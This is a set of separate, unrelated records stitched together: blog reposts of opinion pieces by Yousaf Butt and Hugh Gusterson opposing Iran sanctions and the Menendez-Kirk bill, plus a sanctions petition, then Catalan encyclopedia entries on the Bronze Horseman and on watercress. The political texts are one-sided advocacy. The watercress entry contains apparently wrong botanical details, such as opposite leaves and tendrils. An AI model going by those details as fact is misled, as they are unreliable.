text:
Eight Ways You're Wrong About Iran's Nuclear Program--Yousaf Butt [The National Interest]
Published on The National Interest (http://nationalinterest.org)
Source URL (retrieved on Jan 30, 2014): http://nationalinterest.org/commentary/eight-ways-youre-wrong-about-irans-nuclear-program-9723
Eight Ways You're Wrong About Iran's Nuclear Program
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Yousaf Butt [2]
Oft repeated but false assertions about Iran's nuclear program—and the [3]recent deal to tamp it down [3]—may end up being more dangerous than the program itself. These wrong statements reinforce each other, get amplified in the media, and are [4]fueling a march to military action [4].
Such use of force would further inflame the Middle East and could push Iran to start a full-scale nuclear weapons project. US national security would further erode as a result—just like it has with the Iraq debacle. The 'aluminum tubes', 'mobile biological-weapons labs', and 'yellow cake from Niger' memes fueled the march to that war. Let's examine some of the current false Iran nuclear memes before we're led [5]down the yellow-cake road again [5]:
Meme 1: "If the world powers fail to reach a deal with Tehran the alternative is bombing."
An incarnation of this shopworn meme appears in [4]Matthew Kroenig's recent piece in Foreign Affairs [4]. He states "A truly comprehensive diplomatic settlement between Iran and the West is still the best possible outcome, but there is little reason to believe that one can be achieved. And that means the United States may still have to choose between bombing Iran and allowing it to acquire a nuclear bomb." Er, no. That's a false choice. Iran is not acquiring a nuclear bomb—the [6]US Director of National Intelligence (DNI) has a "high level of confidence" [6] that no decision to weaponize has yet been taken in Tehran. This conclusion of the DNI is not based on an absence of evidence but on actual information [7] that whatever weaponization research Iran may have been doing up to about 2003 has been wrapped up a decade ago.
The P5+1 nations—the five permanent members of the Security Council: the US, UK, France, Russia and China, plus Germany—are not negotiating with Iran to stop it from making a nuclear bomb. They are negotiating with Iran on how to continue to keep its nuclear program peaceful. The discussion is about the methods used to verify that Iran continues its peaceful nuclear program. Even if the nuclear talks fall apart the IAEA inspectors would still continue to inspect Iranian nuclear facilities.
If we—or our allies—bomb Iran the IAEA inspectors would most certainly be expelled, Iran would likely leave the NPT, and Tehran would likely kick off a full-blown nuclear weapons development project. Iraq's nuclear weapons project also started in earnest after Israel bombed [8] Iraq's Osirak reactor in 1981.
To sum up: The negotiations with Iran are about the methods to use to continue to make sure Iran's nuclear program is peaceful. Not reaching a deal is not the end of the world. And if we do bomb Iran, it is likely to bring about the very thing the bombs were trying to prevent: a full-blown nuclear weapons program.
That said, a deal is still the best outcome: it would give even more reassurance about Iran's nuclear program, and it would end the sanctions which are [9]punishing the weakest of the Iranian civilians while enriching the Revolutionary Guards [9] who profit from busting sanctions.
Meme 2: "Sanctions forced Iran to the table and extracted concessions from Iran."
This [10]meme has been expressed, [10] for example, by Senator Robert Menendez, among many others. He has stated that "Current sanctions brought Iran to the negotiating table and a credible threat of future sanctions will require Iran to cooperate and act in good faith at the negotiating table." However cliché, the statement is untrue. [11]Iran was at the negotiating table almost ten years ago [11] and offered the same concessions back then. The [12]sanctions are not what resulted in the recent breakthrough [12] interim agreement between the world powers and Iran. The main thing that changed is the improved atmospherics, which "allowed" the P5+1 to sign a deal with Iran. The election of Iranian president Rouhani, a moderate and erudite leader, permitted the world powers to sign a deal with Iran—a "reward" the US was unwilling to bestow upon the loudmouthed and provocative Ahmedinejad, mostly for domestic reasons [13].
It is important to underline that [11]Iran has offered nothing more in terms of concessions now than what it offered in 2005 [11]. The sanctions [12]did not bring Iran to the negotiating table [12]—Tehran was [13]always there [13]—and the sanctions definitely did not wring out extra concessions from Iran. Basically, were it not for [14]western intransigence [14] and the [13]bad atmospherics [13], the interim deal signed in late 2013 could have been signed in 2005.
This brings us to next false meme:
Meme 3: "Iran has dragged out negotiations unnecessarily—the West sees the nuclear issue as an urgent matter and desperately wants to resolve it but is frustrated by Tehran's foot-dragging"
As mentioned above, the [11]world powers could have gotten the same concessions [11] out of Iran back in 2005 but have only now [15]decided to seriously engage [15] with Iran. As the [16]New York Times has reported [16], "Mr. Obama's aides seem content with stalemate." The main thing this foot-dragging by the west indicates is that it does not see the Iranian nuclear issue as particularly important. This is unsurprising because the US Intelligence community is aware—with a [6]"high level of confidence" [6]— [17]that there is no nuclear weapons program in Iran right now.
Even now, after the interim agreement with Iran has been signed, elite US analysts and commentators are yawning at the prospect of an Iranian bomb and actually urging a lackadaisical approach to negotiations with Iran. For example, [18]Mitchell Reiss and Ray Takeyh argue [18] that "to succeed in nuclear negotiations with Iran, the Western powers should be mindful...[that] Iran needs an agreement more than the United States does...There is no reason for Washington to seem more eager than Tehran to reach an agreement..." Yes, if one chooses to dismiss the issue of an alleged nuclear weapons capability in Iran, then indeed the advice of such commentators may be worth heeding. But one needs to decide: is the alleged Iranian nuclear weapons capability a serious issue or not? If not, then why place such draconian sanctions on Iranian civilians to begin with? The sanctions are causing tremendous harm to the weakest civilians in Iranian society while [9]enriching the Revolutionary Guards who profit from sanctions-busting [9]. If, as these commentators suggest, the West does not need a deal urgently they cannot simultaneously pretend that the issue is important enough to launch military action.
If stopping an alleged Iranian nuclear weapons capability is worth going to war, it's certainly [15]worth taking the issue seriously and undertaking serious sanctions relief [15].
Meme 4: " The P5+1 is extra-tough on Iran because Iran signed the NPT, whereas other nations like Pakistan, India, and Israel did not, and so it's okay to tolerate nuclear weapons in the latter states and even help them with nuclear know-how and technology."
If the P5+1 nations want to invoke the NPT to try to limit nuclear know-how in signatory states like Iran they need to at least first show a firmer hand with the nuclear-armed NPT non-signatories. For instance, because Iran is being sanctioned for its past violations of its nuclear safeguards agreements—which were [19]somewhat gratuitously interpreted as a "threat to the peace" by the UN Security Council [19] (UNSC)—then certainly Pakistan, India and Israel should be similarly sanctioned.
After all, the sanctions are applied to Iran only because the "trigger" of the IAEA nuclear safeguards violations raised the issue to the level of the UNSC. The only reason such triggers have not gone off for India, Pakistan and Israel is that, since they are outside the framework of the NPT, their safeguards agreements are watered-down and similar triggers simply don't exist. But since these nations already have nuclear weapons and are outside the NPT they are objectively a bigger "threat to the peace" than Iran, which is an NPT signatory and has been determined by the US DNI has having no current nuclear weapons program with a "high level of confidence". [The UNSC sanctions are applied under Chapter VII of the UN Charter, Article 39, in which the Security Council can determine a "threat to the peace, breach of the peace, or act of aggression and may recommend, or decide what measures to take...to maintain or restore international peace and security."]
Under no circumstances should nations who have signed the NPT—whether or not they are currently seen to be in good standing—be sanctioned and treated more severely than those that haven't signed on to the NPT and have nuclear weapons. Such heavy-handedness with signatory nations will undercut the desire of many nations to sign on to new arms control initiatives, like the Comprehensive Test Ban Treaty.
In fact, the actions of some of the P5+1 nations, namely China and US, go against the spirit and intentions of the NPT. US and China are helping the nuclear-armed NPT non-signatory states India and Pakistan, respectively, with their civilian nuclear programs. (And before it signed the NPT in 1992, France helped Israel with its nuclear program.) But the 'firewall' between civilian and military nuclear sectors in Pakistan, India and Israel is somewhere between porous to non-existent. And, at the least, civilian nuclear assistance frees up nuclear resources—scientists and materiel much of which are dual-use—which can be applied to the military nuclear programs in these non-NPT nations. Thus the nuclear assistance given by China and the US to Pakistan and India can legitimately be seen as a violation of the NPT.
As Daniel Joyner puts it in his book, "Interpreting the NPT [20]": "Many NPT Non Nuclear Weapon States see this granting of nuclear technology concessions to India by an NPT Nuclear Weapon State as a positive reward for India's decision to remain outside the NPT framework, and develop and maintain a nuclear weapons arsenal, which is the precise opposite to the incentive structure which the NPT sought to codify into international law."
Meme 5: "Iran is in violation of its NPT obligations."
This meme is often repeated in the media and by policy wonks but is not true. For instance, former Obama administration official [21]Robert Einhorn has argued [21], "[W]hat is not debatable is that Iran has forfeited—at least temporarily—any right to enrichment (and reprocessing) until it can demonstrate convincingly that it is in compliance with its NPT obligations."
But Iran has never been found to be in non-compliance with the NPT: in fact, there is no agency or international body tasked with checking compliance with the NPT. And there is no automatic nuclear fuel-cycle "forfeiture" provision in the NPT. So statements such as Einhorn's overreach.
In older treaties like the NPT and the Outer Space Treaty, there aren't any enforcement mechanisms. There is the IAEA, but it is not responsible for—nor does it have the ability to—verify compliance with the NPT. The IAEA's monitors a different set of bilateral treaties: the narrowly focused "Comprehensive Safeguards Agreements" (CSAs). And it's entirely possible for a state to be in noncompliance with its bilateral CSA and still be in compliance with the NPT. The CSA deals mostly with the precise accounting of nuclear material whereas the threshold of NPT violation for NNWSs—nuclear weaponization—is much higher and much more vague. The CSAs and the NPT are independent legal instruments, although they both deal with nuclear nonproliferation.
As Dr. Hans Blix, former head of the IAEA, [22]recently stated [22]: "So far, Iran has not violated the NPT," adding, "and there is no evidence right now that suggests that Iran is producing nuclear weapons." And Mohamed ElBaradei, the Nobel Peace Prize laureate who spent more than a decade as the director of the IAEA, [23]said that he had not "seen a shred of evidence" [23] that Iran was pursuing the bomb. "All I see is the hype about the threat posed by Iran," he concluded.
Meme 6: "There is no right to enrich uranium in the NPT"
This meme is deceptive, being more irrelevant than wrong. The right to enrich uranium exists independent of the NPT: this right, like many many others, [24]does not need to be spelled out in the NPT [24]. In fact, theoretically—according to the letter of the NPT—signatory nations can enrich uranium to arbitrarily high concentrations, including weapons grade, so long as the enrichment is done under safeguards. The important point is that uranium enrichment is not prohibited in the NPT: the [25]inherent right to enrich uranium is not interfered [25] with by the NPT.
The official US government view on the subject was expressed early on. On July 10, 1968, then-Arms Control and Disarmament Agency Director William Foster testified before the Senate Foreign Relations Committee about the NPT. In response to a question regarding the type of nuclear activities prohibited by Article II of the NPT, [26]Foster said [26]:
"It may be useful to point out, for illustrative purposes, several activities which the United States would not consider per se to be violations of the prohibitions in Article II. Neither uranium enrichment nor the stockpiling of fissionable material in connection with a peaceful program would violate Article II so long as these activities were safeguarded under Article III. Also clearly permitted would be the development, under safeguards, of plutonium fueled power reactors, including research on the properties of metallic plutonium, nor would Article II interfere with the development or use of fast breeder reactors under safeguards." [emphasis added]
So not only does the NPT not interfere with the inherent right of nations to pursue nuclear fuel-cycle activities, but the official US government view was that such activities are explicitly permitted under the NPT.
As [27]Mark Hibbs recently explained [27]: "...like Iran, countries negotiating 123 agreements, including Jordan, Saudi Arabia, and Vietnam, refused to have Washington dictate and limit their future nuclear technology choices. Some protagonists in debates on Iran and broader nuclear policy insist there is no "right" to enrich. Yet, if this were self-evidently true, it would not have been a big deal for the UAE to have agreed not to undertake enrichment."
Meme 7: "If a country acquires a nuclear-weapons capability, that nation is intending to acquire nuclear weapons."
Not so. Much nuclear know-how and technology is dual use and can be used for peaceful or military purposes. Under the NPT, it is not illegal for a member state to have a nuclear-weapons capability: if a nation has a developed civilian nuclear infrastructure—which the NPT actually encourages—this implies it has a fairly solid nuclear-weapons capability. Just like Iran, Argentina, Brazil, and Japan also have a nuclear-weapons capability—they, too, could break out of the NPT and make a nuclear device in short order. Capabilities and intentions cannot be conflated.
This is like owning a car that can go faster than 35 miles per hour—having the capability to race through your neighborhood and exceed the speed limit does not mean you intend to do so.
To be sure, this is not an ideal state of affairs. It would certainly be preferable if the NPT had more teeth to prevent the research of nuclear weaponry in member states, or outlawed the collection of excess low-enriched uranium. But the treaty that exists today reflects the political compromises made to win broad international support. The current NPT is simply not a very stringent treaty. Even Pierre Goldschmidt, a former deputy director of the IAEA Safeguards Department, admits that [28]the organization "doesn't have the legal authority it needs to fulfill its mandate. [28]"
I have [29]proposed a stricter "NPT 2.0" which would strike a [29] bold new "more-for-more" bargain. The nuclear-weapon states —or at least Russia and the United States, with a hefty 95 percent of the world's nuclear weapons between them—would offer swift and drastic reductions in their weapons stockpiles in exchange for the outright elimination of nuclear fuel processing activities (such as dual-use uranium enrichment and plutonium processing) in non-nuclear weapon states. A notable difference between the current incarnation of the NPT and the [29]proposed NPT 2.0 [29] would be that the updated version would not encourage the propagation of nuclear power. It no longer makes any sense is to have a treaty force-feeding a flawed and dangerous 1960's technology to developing nations, as the NPT now does.
Meme 8: "Iran has been deceptive in the past so we cannot trust them."
Iran's nuclear enrichment program was not covert by initial design. Iran's nuclear program was kicked off in the 1950s with the [30]full encouragement and support of the United States [30], under president Eisenhower's Atoms for Peace program. In 1983, after the Islamic revolution, Iran went—in an overt way—to the IAEA to get help in setting up a pilot uranium enrichment facility. And the IAEA was then quite receptive to the idea. According to an authoritative account by Mark Hibbs in [31]Nuclear Fuel [31], "IAEA officials were keen to assist Iran in reactivating a research program to learn how to process U3O8 into UO2 pellets and then set up a pilot plant to produce UF6, according to IAEA documents obtained by Nuclear Fuel." But, [31]according to Hibbs [31], "when in 1983 the recommendations of an IAEA mission to Iran were passed on to the IAEA's technical cooperation program, the U.S. government then 'directly intervened' to discourage the IAEA from assisting Iran in production of UO2 and UF6. 'We stopped that in its tracks,' said a former U.S. official."
So when Iran's open overture to the IAEA was stymied politically, they used more covert means to set up their enrichment facilities. Enrichment facilities by their nature can be dual-use, of course, but they are certainly not disallowed under the NPT. Iran's allegedly "covert" or "sneaky" behavior may thus have been a response to the [31]politicization at the IAEA documented in Hibbs' Nuclear Fuel article [31].
A good way to stop the propagation of dual-use nuclear technology is to implement [29]a revamped "NPT 2.0" [29] that explicitly discourages the propagation of nuclear fuel-cycle and nuclear power technology.
Yousaf Butt, a nuclear physicist, is director of the Emerging Technologies Program at the Cultural Intelligence Institute, a non-profit organization dedicated to promoting fact-based cultural awareness among individuals, institutions, and governments. The views expressed here are his own.
Image: Flickr/James Vaughan [32]. CC BY-SA 2.0.
Topics: [33]
Regions: [38]
[1] http://www.addthis.com/bookmark.php?v=250&username=nationalinterest
[2] http://nationalinterest.org/profile/yousaf-butt
[3] http://www.state.gov/r/pa/prs/ps/2014/01/219571.htm
[4] http://www.foreignaffairs.com/articles/140632/matthew-kroenig/still-time-to-attack-iran
[5] http://content.time.com/time/world/article/0,8599,463779,00.html
[6] http://www.armed-services.senate.gov/Transcripts/2011/03%20March/11-11%20-%203-10-11.pdf
[7] http://www.reuters.com/article/2012/03/23/us-iran-usa-nuclear-idUSBRE82M0G020120323
[8] http://www.mitpressjournals.org/doi/abs/10.1162/ISEC_a_00046
[9] http://www.foreignpolicy.com/articles/2012/10/05/the_rial_world
[10] http://nationalinterest.org/print/commentary/the-danger-new-iran-sanctions-9651
[11] http://armscontrollaw.com/2013/11/25/the-new-deal-between-the-p51-and-iran/
[12] http://www.rollcall.com/news/khameneis_little_helpers_in_the_senate_commentary-230056-1.html?pg=1
[13] http://mideastafrica.foreignpolicy.com/posts/2010/05/17/the_turkey_brazil_iran_deal_can_washington_take_yes_for_an_answer
[14] http://nationalinterest.org/commentary/make-tehran-serious-offer-8120
[15] http://nationalinterest.org/print/commentary/make-tehran-serious-offer-8120
[16] http://www.nytimes.com/2013/02/07/world/middleeast/us-ratchets-up-an-economic-war-against-tehran.html?pagewanted=all
[17] http://www.google.com/url?q=http%3A%2F%2Fwww.armed-services.senate.gov%2FTranscripts%2F2011%2F03%2520March%2F11-11%2520-%25203-10-11.pdf&sa=D&sntz=1&usg=AFQjCNHx-PlpPKNTSXHzKUX0ox0_LF3S-w
[18] http://www.foreignaffairs.com/articles/140620/mitchell-b-reiss-and-ray-takeyh/dont-get-suckered-by-iran
[19] http://www.brill-law.com/iran-nuclear---102010---web.html
[20] http://global.oup.com/academic/product/interpreting-the-nuclear--non-proliferation-treaty-9780199227358?cc=pk&lang=en&
[21] http://www.foreignpolicy.com/articles/2013/07/10/getting_to_yes_with_iran?page=full
[22] http://gulfnews.com/news/gulf/uae/environment/iran-s-nuke-threat-is-overhyped-un-official-1.1154727
[23] http://www.richardsilverstein.com/wp-content/uploads/2011/06/Hersh-6-6-11.pdf
[24] http://www.ejiltalk.org/the-new-deal-between-the-p51-and-iran/
[25] http://www.irdiplomacy.ir/en/page/1924877/Does+Iran+Have+a+Legal+Right+to+Enrich+Uranium+Yes..html
[26] https://www.fas.org/sgp/crs/nuke/R40094.pdf
[27] http://thehill.com/blogs/congress-blog/foreign-policy/192825-iran-and-us-nuclear-policy
[28] http://carnegieendowment.org/2011/11/03/looking-beyond-iran-and-north-korea-for-safeguarding-foundations-of-nuclear-nonproliferation/6nz6
[29] http://www.foreignpolicy.com/articles/2012/12/18/radioactive_decay?page=full
[30] http://www.raceforiran.com/americas-on-again-off-again-love-affair-with-irans-nuclear-program
[31] http://www.iranaffairs.com/iran_affairs/2007/12/irans-not-so-hi.html
[32] http://www.flickr.com/photos/x-ray_delta_one/4293482429/sizes/o/
[33] http://nationalinterest.org/topic/security/nuclear-proliferation
[34] http://nationalinterest.org/topic/security/rogue-states
[35] http://nationalinterest.org/topic/security/weapons-inspections
[36] http://nationalinterest.org/topic/security/wmd
[37] http://nationalinterest.org/topic/security
[38] http://nationalinterest.org/region/middle-east/persian-gulf/iran
Labels: Fordow, IAEA, International Atomic Energy Agency, Iran, Iranian nuclear program, Israel, NPT, nuclear, Nuclear Non-proliferation Treaty, P5+1, Rouhani, Rowhani, Zarif
Sign Petition opposing additional sanctions against Iran
The United States has opened the first serious talks with Iran in 34 years. Some members of Congress are attempting to sabotage this diplomatic effort by calling for increased sanctions against Iran. This is an unwise action during this negotiating period. Americans should support peaceful diplomacy whenever feasible.
That's why I created a petition to Sen. Amy Klobuchar (MN-1) and Sen. Al Franken (MN-2), which says:
"We the undersigned urge you to support diplomacy with Iran concerning Iran's nuclear program during the six month negotiation period recently agreed upon by the United States and its P5+1 European partners and Iran. We also strongly urge you to oppose legislation directed at the imposition of additional sanctions on Iran during this period--a move that will lead to the likely failure of these talks. "
Will you sign my petition? Click here to add your name:
http://petitions.moveon.org/sign/support-diplomacy-with-4?source=c.fwd&r_by=306515
The War Bill--Nuclear Weapon Free Iran Act of 2013--Gusterson (Bulletin of the Atomic Scientists)
Commentary from William O. Beeman:
This excellent article points up the danger of letting ignorant legislators try to micromanage diplomacy. I use the word ignorant in three senses. First, for the most part they know nothing about the actual issues at hand in the Iranian nuclear program--neither the history nor the actual technical details on the ground.
Second, I am convinced that many of the supporters of the bill haven't read it, or considered its implications. The bill goes far, far beyond dealing with Iran's nuclear program, including trying to put restrictions on conventional weapons. Iran's "rocket" program would conceivably be covered by this agreement--rockets that are currently used to launch communications satellites.
Third, the supporters are ignorant of the implications this bill has for all American diplomatic efforts going forward. Pre-configuring the outcomes of diplomatic negotiations effectively renders them moot. Why even have diplomats if their hands are tied in this way?
The bill is a fantasy desire on the part of Israel and its supporters, such as Senator Kirk, whose ideological biases are quite evident, to cripple Iran's general technology. It is overreach, and if it passes, will backfire in really terrible ways. This is a bad bill in every sense of the word.
http://thebulletin.org/war-bill
The war bill
Hugh Gusterson
Just when it seemed we might escape the political tides pushing the United States toward war with Iran, a group of senators has introduced a bill that would put us back on the path to war. We might as well call it the "give war a chance" bill.
Until recently there had been a general consensus in Washington in favor of sanctions against Iran. Although Washington's two foreign policy factions—arms controllers and regime changers—diverged in their ultimate goals, as long as Tehran kept methodically expanding its uranium enrichment capability (from a few hundred centrifuges in 2005 to 19,000 today and from 5 percent enrichment to 20 percent), the two sides could often agree on a policy of economic strangulation against Iran, backed up with the threat of military attack.
That coalition between Washington's arms controllers and regime changers was shattered, though, following the 2013 election victory in Tehran of a moderate, President Hassan Rouhani, who is aggressively pursuing an entente with the West. While the arms controllers, led by President Barack Obama, are trying to avert a war by reaching an accord with Iran, the regime changers are doing everything they can to sabotage such an accord through a Senate bill, the Nuclear Weapon Free Iran Act of 2013, co-authored by Sen. Robert Menendez, Democrat of New Jersey, and Sen. Mark Kirk, Republican of Illinois. Of course, being against arms control and for an increased likelihood of war is like being against motherhood and apple pie, so the regime changers are pretending to help the arms control negotiations they seek to undermine.
The geopolitical landscape first shifted in November 2013 after an extraordinary icebreaking phone call in September between Presidents Rouhani and Obama. Iranian and Western negotiators went on to achieve a modest but—given decades of animosity—historic agreement in Geneva. In exchange for an easing of sanctions worth about $7 billion, the Iranians agreed to cease work on their reactor at Arak, freeze the building of new centrifuges, cap uranium enrichment well below bomb-grade at 5 percent, and allow international inspectors greater access. This agreement was the appetizer for the more substantial deal Western and Iranian diplomats are now trying to negotiate—one with the potential to freeze Tehran's seemingly inexorable progress toward a nuclear weapon indefinitely, while reintegrating the country into the international system and permanently realigning the relationship between Iran, its neighbors, and the United States.
Rolling back Iran's nuclear program has thus far been the publicly stated rationale for sanctions. But a faction of the US foreign policy community, dominated by the neoconservatives who brought about the disastrous invasion of Iraq, has always had the more ambitious, if less candidly avowed, objective of ousting the regime that came to power in Tehran in 1979. In the run-up to the US invasion of Iraq, neoconservatives liked to quip that "anyone can go to Baghdad. Real men go to Tehran." Neocons like William Kristol, Doug Feith, Eliot Cohen, Paul Bremer, and Danielle Pletka (all of whom have signed a letter to the Senate endorsing the Menendez-Kirk approach) have never forgiven the Iranian regime for its humiliating seizure of American hostages at the US embassy in Tehran in 1979. And they believe that the removal of Iran's clerical regime would ameliorate the situation in Syria, Lebanon, and Iraq; cripple Hezbollah; dispose of the main threat to Israel in the neighborhood; and re-establish American dominance in the region. Of course, they had similarly utopian dreams for the invasion of Iraq, and look how that turned out.
In a recent opinion piece for The Washington Post, Senator Menendez (or is that Senator Mendacious?) presented his legislation as intended to help negotiations with Iran succeed. "The proposed legislation is a clarifying action. It allows all sides to negotiate in certainties and provides one year of space for the parties to continue talking. It spells out precisely the consequences should the agreement fail. This should motivate Iranians to negotiate honestly and seriously. At the same time, these prospective sanctions play a positive and reinforcing role in negotiations."
Nothing could be further from the truth. Even by the currently degraded standards of Washington discourse, this is a pretzel-shaped representation of reality. It is for good reason that President Obama has promised to veto the Menendez-Kirk legislation if it passes, and 10 Senate committee chairs have co-signed a letter to Senate majority leader Harry Reid condemning it.
Edward Levine, a former Senate staffer, has posted an excellent analysis of the Senate bill's dangers on the Center for Arms Control and Non-Proliferation's website. He foregrounds four poison pills that it contains.
First, for sanctions against Iran to be suspended, the bill requires the President to certify that "Iran has not conducted any tests for ballistic missiles with a range exceeding 500 kilometers." As Levine points out, this moves the goalposts on Iran since missile tests have not been a part of the negotiations thus far. Furthermore, since the bill specifies no time period during which such missile tests are disallowed, and Iran has conducted such tests in the past, by some interpretations the bill will preemptively exclude lifting sanctions.
Second, the bill would allow sanctions to be lifted only if the US president certified that "Iran has not directly, or through a proxy, supported, financed, planned, or otherwise carried out an act of terrorism against the United States or United States persons or property anywhere in the world." Again, no time period is specified. As Levine observes, this means that "if, say, Hezbollah were to explode a bomb outside a US firm's office in Beirut, the sanctions would go into effect (because Iran gives financial and other support to Hezbollah) even if Iran's nuclear activities and negotiations were completely in good faith."
Third, the bill would preauthorize sanctions, but waive them every year if the US Congress agreed that Iran was meeting its commitments. From the Iranian point of view, this would weaken any agreement by introducing the possibility that Congress could allow it to lapse. Iran could end up dismantling nuclear infrastructure only to find itself dealing with a new Congress that decided it had not done enough, or one so paralyzed it could not prevent the trap it had devised from snapping shut.
Finally, Levine points out that the bill requires the dismantling of Iran's "enrichment and reprocessing capabilities and facilities, the heavy water reactor and production plant at Arak, and any nuclear weapon components and technology." While it might be conceivable that this could happen many years in the future at the end of a multi-stage process, it is unreasonable in the near term to expect Iran to give up the nuclear infrastructure, permitted by the Nuclear Non-Proliferation Treaty, for which it has paid so dearly, and in which it sees a hedge against possible security threats.
As former Deputy Assistant Secretary of Defense Colin Kahl puts it in The National Interest, "given the significant financial investment—estimated to be at least $100 billion—and political capital the regime has expended to master uranium enrichment, the supreme leader will not agree to completely dismantle Iran's program as many in Congress demand. Indeed, Khamenei probably fears such a humiliation more than he fears economic collapse or targeted military strikes against his nuclear facilities." In other words, this provision in the Kirk-Menendez bill, tantamount to a demand for Iranian surrender, is an offer Tehran cannot accept—but can be blamed for refusing.
There is one more troubling clause in the Senate bill. It states that "if the government of Israel is compelled to take military action in legitimate self-defense against Iran's nuclear weapon program, the United States government should stand with Israel," calling for "diplomatic, military and economic" support in such circumstances. In other words, it effectively outsources to Israel the decision over whether the United States should go to war with Iran. No wonder the American Israel Public Affairs Committee (AIPAC) has been pushing so hard for the bill on Capitol Hill. (Incidentally the Jewish lobby groups J Street and Americans for Peace Now oppose the bill.)
The Kirk-Menendez bill has 59 co-sponsors—just eight shy of the number needed to override a presidential veto. It is astonishing that such a disastrous piece of legislation could have so much support in what we used to be able to call, with a more or less straight face, the world's greatest deliberative body. Kahl, the former deputy assistant secretary of defense, believes the bill would violate the agreement already reached with Iran in November. The Iran expert Trita Parsi warns that "if the Geneva deal falls apart as a result of Congressional foul play, the world will view the United States and not Iran as the main obstacle to a nuclear agreement," and that the international sanctions regime may fall apart as a result. Representative Raúl Grijalva, Democrat of Arizona, and Kate Gould of the Friends Committee on National Legislation laid out what's at stake, pointing out that "if Congress isn't careful, it will sabotage our country's best opportunity to prevent war and a nuclear-armed Iran." Meanwhile many commentators have cautioned that the bill will actually strengthen the hardliners in Tehran and, by sabotaging the chance to reach an agreement, make it more likely that the United States will face a stark choice between accepting a nuclear-armed Iran and going to war.
But the bill is above all dangerous because of the reckless way in which it creates two dead man's switches—protocols that automate escalation and weaken the grip of American decision-makers on decisions about war and peace. One dead man's switch is the pre-emplacement of sanctions and the insistence that action must be taken every year to prevent them from being implemented. One would have thought that Congress had learned from its experience with the automatic budget cuts of the 2013 sequester not to play this kind of game with itself.
The second, and even more disturbing, dead man's switch is the clause pressing the United States to follow Israel to war. Reminiscent of the catastrophic alliance obligations that historians now blame for ensnaring Europe in the First World War, this stipulation incites Israeli hardliners by making them think they have a blank check from the United States. It also willfully and deliberately moves the center of gravity of the decision making outside the United States.
Neoconservatives like to use the rhetoric of patriotism to discredit their opponents. But true patriots do not outsource national-security decisions to other countries.
An anthropologist, Gusterson is a professor of anthropology and sociology at George Mason University. His expertise is in nuclear culture, international security, and the anthropology of science....
Labels: Arak, Bremer, Cohen, Feith, Geneva, Iran, Kahl, Khamenei, Kirk, Kristol, Levine, Menendez, nuclear, Nuclear Weapon Free Act of 2013, Pletka, Rouhani, Senate, Zarif
Eight Ways You're Wrong About Iran's Nuclear Progr...
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The War Bill--Nuclear Weapon Free Iran Act of 2013...


text:
El Cavaller de bronze () és una estàtua eqüestre de Pere el Gran situada a Sant Petersburg, Rússia. Va ser encarregada per Caterina la Gran, va ser creada per l'escultor francès Étienne Maurice Falconet. El nom de Cavaller de bronze prové d'un poema amb el mateix títol escrit per Aleksander Pushkin l'any 1833. Actualment aquesta estàtua és el símbol de Sant Petersburg.

El pedestal de l'estàtua és una enorme Pedra de Tro i es considera que és la pedra més grossa moguda per humans. En principi aquesta pedra pesava 1.500 tones i va quedar en 1.250 tones quan es va posar al seu lloc actual.

Aquesta estàtua es troba a la Plaça del Senat de Sant Petersburg, anteriorment dita Plaça dels desembristes. Caterina la Gran, una princesa alemanya casada amb un Romanof, volia quedar connectada amb Pere el Gran davant dels ulls del poble. Ella va ordenar que es construís l'estàtua i va fer posar la inscripció en llatí Petro Primo Catharina Secunda MDCCLXXXII i en rus Петру перьвому Екатерина вторая, лѣта 1782 que signifiquen 'Caterina la Segona a Pere el Primer, 1782'.

Per a fondre l'estàtua de bronze, que va haver de fer-se (1775) en dues vegades a causa d'un accident en el primer intent, van caldre 12 anys.

Denis Diderot va suggerir a Caterina que fos Étienne Maurice Falconet qui s'encarregués de fer l'estàtua.

[[Fitxer:Bronze Horseman unveiling.jpg|miniatura|esquerra|Inauguració del Monument, gravat per A. K. Melnikov d'un dibuix per A. P. Davydov, 1782]]

 Pedra de Tro

Per a fer el pedestal es va escollir un bloc enorme de pedra conegut com a Pedra de Tro (en rus: Гром-Камень) trobat a Lakhta, a 6 km a l'interior del Golf de Finlàndia l'any 1768. Aquest nom de pedra de tro `provenia d'una llegenda local. Per a transportar-la va caldre el projecte d'un enginyer anomenat Carburis que ho va fer mitjançant un trineu que discorria sobre esferes metàl·liques i només es va utilitzar energia humana, no la d'animals.

 Referències

 Notes
  Histoire et statues des personnalités qui ont marqué Saint-Pétersbourg

  Les Français à Saint-Pétersbourg, extrait du livre de N.Smirnova, ci-dessous.
  Transport du piédestal de la statue de Pierre le Grand, in La Nature, 1882.

 Bibliografia
  Natalia Smirnova, Saint-Pétersbourg ou l'enlèvement d'Europe, éd. Olizane, Genève, 1996
  Christiane Dellac, Marie-Anne Collot : Une sculptrice française à la cour de Catherine II, 1748–1821, L'Harmattan, (2005) .

 Alexander M. Schenker, The Bronze Horseman: Falconet's Monument to Peter the Great'', Yale University Press, New Haven CT, 2003 .

Estàtues
Rússia

redpajama_set_name: RedPajamaWikipedia


text:
El creixen (Nasturtium officinale W. T. Aiton) és una planta de la família Brassicaceae (o de les crucíferes). La planta silvestre creix en abundància a la major part dels rierols i corrents frescos poc profunds d'Europa i Àsia d'on és originària. En el Principat es troba àmpliament difosa. D'Europa i Àsia s'ha anat estenent per altres continents i, actualment, podem trobar-la a Amèrica del Nord i a Amèrica del Sud, o al Carib. A partir del  es va introduir el seu cultiu en horts i el seu ús com a planta cultivada ha anat augmentant a poc a poc. El creixen, en català, també es coneix amb els noms de caputxina, morritort d'aigua, creixenera, créixens vers, créixec, greixes, morritort, ravenell d'aigua o entre altres.

El nom Nasturtium prové del llatí nasus= "nas" i tortus="tort" a causa de l'olor picant de la planta que irritava el nas i officinale indica que la planta s'utilitzava en farmàcia.

Morfologia

Planta perenne de 10 a 60 cm d'alçada. La seva forma vital de Raunkjaer és l'hidròfit.

Té les fulles imparipinnades, compostes i oposades, amb el limbe ovad, l'àpex obtús i la base cordada. S'insereixen de manera peciolada i són una mica dentades.
La rel és fasciculada, caulògena i de color blanc. La tija és monopòdica i amb circells.
És una planta glabra, que vol dir que no té pilositat.

No té repartició de sexes. Les seves flors són blanques i verdes, i hermafrodites amb inflorescència racemosa en raïm. Té el calze verd amb flors de 4 pètals lliures i 4 sèpals també lliures.
L'androceu és ovadelfs amb 6 estams, amb 2 d'ells molt curts. El gineceu té flor perigina i un ovari súper de color porpra o verd.
Fan fruits en síliqua. En el seu interior conté dues fileres de llavors rogenques.
Floreix de gener a novembre.

Ecologia
